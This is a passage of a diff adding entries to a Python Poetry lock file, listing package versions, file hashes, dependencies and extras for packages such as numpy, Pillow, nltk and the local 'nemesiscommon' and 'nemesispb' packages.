+ {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"},
+ {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"},
+]
+
+[package.dependencies]
+protobuf = ">=4.21.8"
+types-protobuf = ">=3.20.4"
+
+[[package]]
+name = "nemesiscommon"
+version = "0.2.2"
+description = "Common nemesis helper functions"
+optional = false
+python-versions = "^3.9"
+files = []
+develop = true
+
+[package.dependencies]
+aio-pika = "^8.3.0"
+aioboto3 = "^10.4.0"
+boto3 = "^1.24.59"
+miniopy-async = "^1.15"
+nemesispb = {path = "../nemesispb", develop = true}
+prometheus-async = {version = "^22.2.0", extras = ["aiohttp"]}
+pycryptodomex = "^3.15.0"
+pydantic = "^1.10.4"
+pyyaml = "^6.0"
+requests = "^2.28.1"
+rich = "^13.3.3"
+structlog = "^23.1.0"
+tenacity = "^8.0.1"
+typing-extensions = "^4.4.0"
+winacl = "^0.1.7"
+yara-python = "^4.3.0"
+
+[package.source]
+type = "directory"
+url = "../../packages/python/nemesiscommon"
+
+[[package]]
+name = "nemesispb"
+version = "0.1.0"
+description = "Nemesis python protobuf"
+optional = false
+python-versions = "^3.9"
+files = []
+develop = true
+
+[package.dependencies]
+mypy-protobuf = "^3.4.0"
+protobuf = "^4.21.5"
+
+[package.source]
+type = "directory"
+url = "../../packages/python/nemesispb"
+
+[[package]]
+name = "networkx"
+version = "3.1"
+description = "Python package for creating and manipulating graphs and networks"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "networkx-3.1-py3-none-any.whl", hash = "sha256:4f33f68cb2afcf86f28a45f43efc27a9386b535d567d2127f8f61d51dec58d36"},
+ {file = "networkx-3.1.tar.gz", hash = "sha256:de346335408f84de0eada6ff9fafafff9bcda11f0a0dfaa931133debb146ab61"},
+]
+
+[package.extras]
+default = ["matplotlib (>=3.4)", "numpy (>=1.20)", "pandas (>=1.3)", "scipy (>=1.8)"]
+developer = ["mypy (>=1.1)", "pre-commit (>=3.2)"]
+doc = ["nb2plots (>=0.6)", "numpydoc (>=1.5)", "pillow (>=9.4)", "pydata-sphinx-theme (>=0.13)", "sphinx (>=6.1)", "sphinx-gallery (>=0.12)", "texext (>=0.6.7)"]
+extra = ["lxml (>=4.6)", "pydot (>=1.4.2)", "pygraphviz (>=1.10)", "sympy (>=1.10)"]
+test = ["codecov (>=2.1)", "pytest (>=7.2)", "pytest-cov (>=4.0)"]
+
+[[package]]
+name = "nltk"
+version = "3.8.1"
+description = "Natural Language Toolkit"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "nltk-3.8.1-py3-none-any.whl", hash = "sha256:fd5c9109f976fa86bcadba8f91e47f5e9293bd034474752e92a520f81c93dda5"},
+ {file = "nltk-3.8.1.zip", hash = "sha256:1834da3d0682cba4f2cede2f9aad6b0fafb6461ba451db0efb6f9c39798d64d3"},
+]
+
+[package.dependencies]
+click = "*"
+joblib = "*"
+regex = ">=2021.8.3"
+tqdm = "*"
+
+[package.extras]
+all = ["matplotlib", "numpy", "pyparsing", "python-crfsuite", "requests", "scikit-learn", "scipy", "twython"]
+corenlp = ["requests"]
+machine-learning = ["numpy", "python-crfsuite", "scikit-learn", "scipy"]
+plot = ["matplotlib"]
+tgrep = ["pyparsing"]
+twitter = ["twython"]
+
+[[package]]
+name = "numexpr"
+version = "2.8.4"
+description = "Fast numerical expression evaluator for NumPy"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "numexpr-2.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a75967d46b6bd56455dd32da6285e5ffabe155d0ee61eef685bbfb8dafb2e484"},
+ {file = "numexpr-2.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:db93cf1842f068247de631bfc8af20118bf1f9447cd929b531595a5e0efc9346"},
+ {file = "numexpr-2.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bca95f4473b444428061d4cda8e59ac564dc7dc6a1dea3015af9805c6bc2946"},
+ {file = "numexpr-2.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e34931089a6bafc77aaae21f37ad6594b98aa1085bb8b45d5b3cd038c3c17d9"},
+ {file = "numexpr-2.8.4-cp310-cp310-win32.whl", hash = "sha256:f3a920bfac2645017110b87ddbe364c9c7a742870a4d2f6120b8786c25dc6db3"},
+ {file = "numexpr-2.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:6931b1e9d4f629f43c14b21d44f3f77997298bea43790cfcdb4dd98804f90783"},
+ {file = "numexpr-2.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9400781553541f414f82eac056f2b4c965373650df9694286b9bd7e8d413f8d8"},
+ {file = "numexpr-2.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6ee9db7598dd4001138b482342b96d78110dd77cefc051ec75af3295604dde6a"},
+ {file = "numexpr-2.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ff5835e8af9a212e8480003d731aad1727aaea909926fd009e8ae6a1cba7f141"},
+ {file = "numexpr-2.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:655d84eb09adfee3c09ecf4a89a512225da153fdb7de13c447404b7d0523a9a7"},
+ {file = "numexpr-2.8.4-cp311-cp311-win32.whl", hash = "sha256:5538b30199bfc68886d2be18fcef3abd11d9271767a7a69ff3688defe782800a"},
+ {file = "numexpr-2.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:3f039321d1c17962c33079987b675fb251b273dbec0f51aac0934e932446ccc3"},
+ {file = "numexpr-2.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c867cc36cf815a3ec9122029874e00d8fbcef65035c4a5901e9b120dd5d626a2"},
+ {file = "numexpr-2.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:059546e8f6283ccdb47c683101a890844f667fa6d56258d48ae2ecf1b3875957"},
+ {file = "numexpr-2.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:845a6aa0ed3e2a53239b89c1ebfa8cf052d3cc6e053c72805e8153300078c0b1"},
+ {file = "numexpr-2.8.4-cp37-cp37m-win32.whl", hash = "sha256:a38664e699526cb1687aefd9069e2b5b9387da7feac4545de446141f1ef86f46"},
+ {file = "numexpr-2.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:eaec59e9bf70ff05615c34a8b8d6c7bd042bd9f55465d7b495ea5436f45319d0"},
+ {file = "numexpr-2.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b318541bf3d8326682ebada087ba0050549a16d8b3fa260dd2585d73a83d20a7"},
+ {file = "numexpr-2.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b076db98ca65eeaf9bd224576e3ac84c05e451c0bd85b13664b7e5f7b62e2c70"},
+ {file = "numexpr-2.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90f12cc851240f7911a47c91aaf223dba753e98e46dff3017282e633602e76a7"},
+ {file = "numexpr-2.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c368aa35ae9b18840e78b05f929d3a7b3abccdba9630a878c7db74ca2368339"},
+ {file = "numexpr-2.8.4-cp38-cp38-win32.whl", hash = "sha256:b96334fc1748e9ec4f93d5fadb1044089d73fb08208fdb8382ed77c893f0be01"},
+ {file = "numexpr-2.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:a6d2d7740ae83ba5f3531e83afc4b626daa71df1ef903970947903345c37bd03"},
+ {file = "numexpr-2.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:77898fdf3da6bb96aa8a4759a8231d763a75d848b2f2e5c5279dad0b243c8dfe"},
+ {file = "numexpr-2.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:df35324666b693f13a016bc7957de7cc4d8801b746b81060b671bf78a52b9037"},
+ {file = "numexpr-2.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:17ac9cfe6d0078c5fc06ba1c1bbd20b8783f28c6f475bbabd3cad53683075cab"},
+ {file = "numexpr-2.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df3a1f6b24214a1ab826e9c1c99edf1686c8e307547a9aef33910d586f626d01"},
+ {file = "numexpr-2.8.4-cp39-cp39-win32.whl", hash = "sha256:7d71add384adc9119568d7e9ffa8a35b195decae81e0abf54a2b7779852f0637"},
+ {file = "numexpr-2.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:9f096d707290a6a00b6ffdaf581ee37331109fb7b6c8744e9ded7c779a48e517"},
+ {file = "numexpr-2.8.4.tar.gz", hash = "sha256:d5432537418d18691b9115d615d6daa17ee8275baef3edf1afbbf8bc69806147"},
+]
+
+[package.dependencies]
+numpy = ">=1.13.3"
+
+[[package]]
+name = "numpy"
+version = "1.25.1"
+description = "Fundamental package for array computing in Python"
+optional = false
+python-versions = ">=3.9"
+files = [
+ {file = "numpy-1.25.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:77d339465dff3eb33c701430bcb9c325b60354698340229e1dff97745e6b3efa"},
+ {file = "numpy-1.25.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d736b75c3f2cb96843a5c7f8d8ccc414768d34b0a75f466c05f3a739b406f10b"},
+ {file = "numpy-1.25.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a90725800caeaa160732d6b31f3f843ebd45d6b5f3eec9e8cc287e30f2805bf"},
+ {file = "numpy-1.25.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c6c9261d21e617c6dc5eacba35cb68ec36bb72adcff0dee63f8fbc899362588"},
+ {file = "numpy-1.25.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:0def91f8af6ec4bb94c370e38c575855bf1d0be8a8fbfba42ef9c073faf2cf19"},
+ {file = "numpy-1.25.1-cp310-cp310-win32.whl", hash = "sha256:fd67b306320dcadea700a8f79b9e671e607f8696e98ec255915c0c6d6b818503"},
+ {file = "numpy-1.25.1-cp310-cp310-win_amd64.whl", hash = "sha256:c1516db588987450b85595586605742879e50dcce923e8973f79529651545b57"},
+ {file = "numpy-1.25.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6b82655dd8efeea69dbf85d00fca40013d7f503212bc5259056244961268b66e"},
+ {file = "numpy-1.25.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e8f6049c4878cb16960fbbfb22105e49d13d752d4d8371b55110941fb3b17800"},
+ {file = "numpy-1.25.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41a56b70e8139884eccb2f733c2f7378af06c82304959e174f8e7370af112e09"},
+ {file = "numpy-1.25.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5154b1a25ec796b1aee12ac1b22f414f94752c5f94832f14d8d6c9ac40bcca6"},
+ {file = "numpy-1.25.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:38eb6548bb91c421261b4805dc44def9ca1a6eef6444ce35ad1669c0f1a3fc5d"},
+ {file = "numpy-1.25.1-cp311-cp311-win32.whl", hash = "sha256:791f409064d0a69dd20579345d852c59822c6aa087f23b07b1b4e28ff5880fcb"},
+ {file = "numpy-1.25.1-cp311-cp311-win_amd64.whl", hash = "sha256:c40571fe966393b212689aa17e32ed905924120737194b5d5c1b20b9ed0fb171"},
+ {file = "numpy-1.25.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3d7abcdd85aea3e6cdddb59af2350c7ab1ed764397f8eec97a038ad244d2d105"},
+ {file = "numpy-1.25.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a180429394f81c7933634ae49b37b472d343cccb5bb0c4a575ac8bbc433722f"},
+ {file = "numpy-1.25.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d412c1697c3853c6fc3cb9751b4915859c7afe6a277c2bf00acf287d56c4e625"},
+ {file = "numpy-1.25.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20e1266411120a4f16fad8efa8e0454d21d00b8c7cee5b5ccad7565d95eb42dd"},
+ {file = "numpy-1.25.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:f76aebc3358ade9eacf9bc2bb8ae589863a4f911611694103af05346637df1b7"},
+ {file = "numpy-1.25.1-cp39-cp39-win32.whl", hash = "sha256:247d3ffdd7775bdf191f848be8d49100495114c82c2bd134e8d5d075fb386a1c"},
+ {file = "numpy-1.25.1-cp39-cp39-win_amd64.whl", hash = "sha256:1d5d3c68e443c90b38fdf8ef40e60e2538a27548b39b12b73132456847f4b631"},
+ {file = "numpy-1.25.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:35a9527c977b924042170a0887de727cd84ff179e478481404c5dc66b4170009"},
+ {file = "numpy-1.25.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0d3fe3dd0506a28493d82dc3cf254be8cd0d26f4008a417385cbf1ae95b54004"},
+ {file = "numpy-1.25.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:012097b5b0d00a11070e8f2e261128c44157a8689f7dedcf35576e525893f4fe"},
+ {file = "numpy-1.25.1.tar.gz", hash = "sha256:9a3a9f3a61480cc086117b426a8bd86869c213fc4072e606f01c4e4b66eb92bf"},
+]
+
+[[package]]
+name = "openapi-schema-pydantic"
+version = "1.2.4"
+description = "OpenAPI (v3) specification schema as pydantic class"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "openapi-schema-pydantic-1.2.4.tar.gz", hash = "sha256:3e22cf58b74a69f752cc7e5f1537f6e44164282db2700cbbcd3bb99ddd065196"},
+ {file = "openapi_schema_pydantic-1.2.4-py3-none-any.whl", hash = "sha256:a932ecc5dcbb308950282088956e94dea069c9823c84e507d64f6b622222098c"},
+]
+
+[package.dependencies]
+pydantic = ">=1.8.2"
+
+[[package]]
+name = "packaging"
+version = "23.1"
+description = "Core utilities for Python packages"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"},
+ {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"},
+]
+
+[[package]]
+name = "pamqp"
+version = "3.2.1"
+description = "RabbitMQ Focused AMQP low-level library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pamqp-3.2.1-py2.py3-none-any.whl", hash = "sha256:15acef752356593ca569d13dfedc8ada9f17deeeb8cec4f7b77825e2b6c7de3e"},
+ {file = "pamqp-3.2.1.tar.gz", hash = "sha256:22550ceb1ca50aafda65873e77e8c1c1b139fb5975e1a09860fae940cf8e970a"},
+]
+
+[package.extras]
+codegen = ["lxml", "requests", "yapf"]
+testing = ["coverage", "flake8", "flake8-comprehensions", "flake8-deprecated", "flake8-import-order", "flake8-print", "flake8-quotes", "flake8-rst-docstrings", "flake8-tuple", "yapf"]
+
+[[package]]
+name = "pathspec"
+version = "0.11.1"
+description = "Utility library for gitignore style pattern matching of file paths."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"},
+ {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"},
+]
+
+[[package]]
+name = "pillow"
+version = "10.0.0"
+description = "Python Imaging Library (Fork)"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "Pillow-10.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1f62406a884ae75fb2f818694469519fb685cc7eaff05d3451a9ebe55c646891"},
+ {file = "Pillow-10.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d5db32e2a6ccbb3d34d87c87b432959e0db29755727afb37290e10f6e8e62614"},
+ {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:edf4392b77bdc81f36e92d3a07a5cd072f90253197f4a52a55a8cec48a12483b"},
+ {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:520f2a520dc040512699f20fa1c363eed506e94248d71f85412b625026f6142c"},
+ {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:8c11160913e3dd06c8ffdb5f233a4f254cb449f4dfc0f8f4549eda9e542c93d1"},
+ {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a74ba0c356aaa3bb8e3eb79606a87669e7ec6444be352870623025d75a14a2bf"},
+ {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d5d0dae4cfd56969d23d94dc8e89fb6a217be461c69090768227beb8ed28c0a3"},
+ {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22c10cc517668d44b211717fd9775799ccec4124b9a7f7b3635fc5386e584992"},
+ {file = "Pillow-10.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:dffe31a7f47b603318c609f378ebcd57f1554a3a6a8effbc59c3c69f804296de"},
+ {file = "Pillow-10.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:9fb218c8a12e51d7ead2a7c9e101a04982237d4855716af2e9499306728fb485"},
+ {file = "Pillow-10.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d35e3c8d9b1268cbf5d3670285feb3528f6680420eafe35cccc686b73c1e330f"},
+ {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ed64f9ca2f0a95411e88a4efbd7a29e5ce2cea36072c53dd9d26d9c76f753b3"},
+ {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b6eb5502f45a60a3f411c63187db83a3d3107887ad0d036c13ce836f8a36f1d"},
+ {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:c1fbe7621c167ecaa38ad29643d77a9ce7311583761abf7836e1510c580bf3dd"},
+ {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:cd25d2a9d2b36fcb318882481367956d2cf91329f6892fe5d385c346c0649629"},
+ {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3b08d4cc24f471b2c8ca24ec060abf4bebc6b144cb89cba638c720546b1cf538"},
+ {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d737a602fbd82afd892ca746392401b634e278cb65d55c4b7a8f48e9ef8d008d"},
+ {file = "Pillow-10.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:3a82c40d706d9aa9734289740ce26460a11aeec2d9c79b7af87bb35f0073c12f"},
+ {file = "Pillow-10.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:bc2ec7c7b5d66b8ec9ce9f720dbb5fa4bace0f545acd34870eff4a369b44bf37"},
+ {file = "Pillow-10.0.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:d80cf684b541685fccdd84c485b31ce73fc5c9b5d7523bf1394ce134a60c6883"},
+ {file = "Pillow-10.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:76de421f9c326da8f43d690110f0e79fe3ad1e54be811545d7d91898b4c8493e"},
+ {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:81ff539a12457809666fef6624684c008e00ff6bf455b4b89fd00a140eecd640"},
+ {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce543ed15570eedbb85df19b0a1a7314a9c8141a36ce089c0a894adbfccb4568"},
+ {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:685ac03cc4ed5ebc15ad5c23bc555d68a87777586d970c2c3e216619a5476223"},
+ {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d72e2ecc68a942e8cf9739619b7f408cc7b272b279b56b2c83c6123fcfa5cdff"},
+ {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d50b6aec14bc737742ca96e85d6d0a5f9bfbded018264b3b70ff9d8c33485551"},
+ {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:00e65f5e822decd501e374b0650146063fbb30a7264b4d2744bdd7b913e0cab5"},
+ {file = "Pillow-10.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:f31f9fdbfecb042d046f9d91270a0ba28368a723302786c0009ee9b9f1f60199"},
+ {file = "Pillow-10.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:1ce91b6ec08d866b14413d3f0bbdea7e24dfdc8e59f562bb77bc3fe60b6144ca"},
+ {file = "Pillow-10.0.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:349930d6e9c685c089284b013478d6f76e3a534e36ddfa912cde493f235372f3"},
+ {file = "Pillow-10.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:3a684105f7c32488f7153905a4e3015a3b6c7182e106fe3c37fbb5ef3e6994c3"},
+ {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4f69b3700201b80bb82c3a97d5e9254084f6dd5fb5b16fc1a7b974260f89f43"},
+ {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f07ea8d2f827d7d2a49ecf1639ec02d75ffd1b88dcc5b3a61bbb37a8759ad8d"},
+ {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:040586f7d37b34547153fa383f7f9aed68b738992380ac911447bb78f2abe530"},
+ {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f88a0b92277de8e3ca715a0d79d68dc82807457dae3ab8699c758f07c20b3c51"},
+ {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c7cf14a27b0d6adfaebb3ae4153f1e516df54e47e42dcc073d7b3d76111a8d86"},
+ {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3400aae60685b06bb96f99a21e1ada7bc7a413d5f49bce739828ecd9391bb8f7"},
+ {file = "Pillow-10.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:dbc02381779d412145331789b40cc7b11fdf449e5d94f6bc0b080db0a56ea3f0"},
+ {file = "Pillow-10.0.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:9211e7ad69d7c9401cfc0e23d49b69ca65ddd898976d660a2fa5904e3d7a9baa"},
+ {file = "Pillow-10.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:faaf07ea35355b01a35cb442dd950d8f1bb5b040a7787791a535de13db15ed90"},
+ {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9f72a021fbb792ce98306ffb0c348b3c9cb967dce0f12a49aa4c3d3fdefa967"},
+ {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f7c16705f44e0504a3a2a14197c1f0b32a95731d251777dcb060aa83022cb2d"},
+ {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:76edb0a1fa2b4745fb0c99fb9fb98f8b180a1bbceb8be49b087e0b21867e77d3"},
+ {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:368ab3dfb5f49e312231b6f27b8820c823652b7cd29cfbd34090565a015e99ba"},
+ {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:608bfdee0d57cf297d32bcbb3c728dc1da0907519d1784962c5f0c68bb93e5a3"},
+ {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5c6e3df6bdd396749bafd45314871b3d0af81ff935b2d188385e970052091017"},
+ {file = "Pillow-10.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:7be600823e4c8631b74e4a0d38384c73f680e6105a7d3c6824fcf226c178c7e6"},
+ {file = "Pillow-10.0.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:92be919bbc9f7d09f7ae343c38f5bb21c973d2576c1d45600fce4b74bafa7ac0"},
+ {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8182b523b2289f7c415f589118228d30ac8c355baa2f3194ced084dac2dbba"},
+ {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:38250a349b6b390ee6047a62c086d3817ac69022c127f8a5dc058c31ccef17f3"},
+ {file = "Pillow-10.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:88af2003543cc40c80f6fca01411892ec52b11021b3dc22ec3bc9d5afd1c5334"},
+ {file = "Pillow-10.0.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c189af0545965fa8d3b9613cfdb0cd37f9d71349e0f7750e1fd704648d475ed2"},
+ {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce7b031a6fc11365970e6a5686d7ba8c63e4c1cf1ea143811acbb524295eabed"},
+ {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:db24668940f82321e746773a4bc617bfac06ec831e5c88b643f91f122a785684"},
+ {file = "Pillow-10.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:efe8c0681042536e0d06c11f48cebe759707c9e9abf880ee213541c5b46c5bf3"},
+ {file = "Pillow-10.0.0.tar.gz", hash = "sha256:9c82b5b3e043c7af0d95792d0d20ccf68f61a1fec6b3530e718b688422727396"},
+]
+
+[package.extras]
+docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"]
+tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"]
+
+[[package]]
+name = "platformdirs"
+version = "3.8.1"
+description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "platformdirs-3.8.1-py3-none-any.whl", hash = "sha256:cec7b889196b9144d088e4c57d9ceef7374f6c39694ad1577a0aab50d27ea28c"},
+ {file = "platformdirs-3.8.1.tar.gz", hash = "sha256:f87ca4fcff7d2b0f81c6a748a77973d7af0f4d526f98f308477c3c436c74d528"},
+]
+
+[package.extras]
+docs = ["furo (>=2023.5.20)", "proselint (>=0.13)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"]
+test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)"]
+
+[[package]]
+name = "pluggy"
+version = "1.2.0"
+description = "plugin and hook calling mechanisms for python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pluggy-1.2.0-py3-none-any.whl", hash = "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849"},
+ {file = "pluggy-1.2.0.tar.gz", hash = "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3"},
+]
+
+[package.extras]
+dev = ["pre-commit", "tox"]
+testing = ["pytest", "pytest-benchmark"]
+
+[[package]]
+name = "prometheus-async"
+version = "22.2.0"
+description = "Async helpers for prometheus_client."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "prometheus-async-22.2.0.tar.gz", hash = "sha256:b0426370eb3b3bacd99afcf1fcc669c118cb67603cc951a6fe12434e9d4307f2"},
+ {file = "prometheus_async-22.2.0-py3-none-any.whl", hash = "sha256:5cbfa535561342b834c087c4f3f3be0a3cb8785a0b8748111c916f3d68bbc370"},
+]
+
+[package.dependencies]
+aiohttp = {version = ">=3", optional = true, markers = "extra == \"aiohttp\""}
+prometheus_client = ">=0.8.0"
+wrapt = "*"
+
+[package.extras]
+aiohttp = ["aiohttp (>=3)"]
+consul = ["aiohttp (>=3)"]
+dev = ["aiohttp", "cogapp", "coverage[toml]", "furo", "mypy", "myst-parser", "pre-commit", "pytest", "pytest-asyncio", "pytest-twisted", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "tomli", "twisted"]
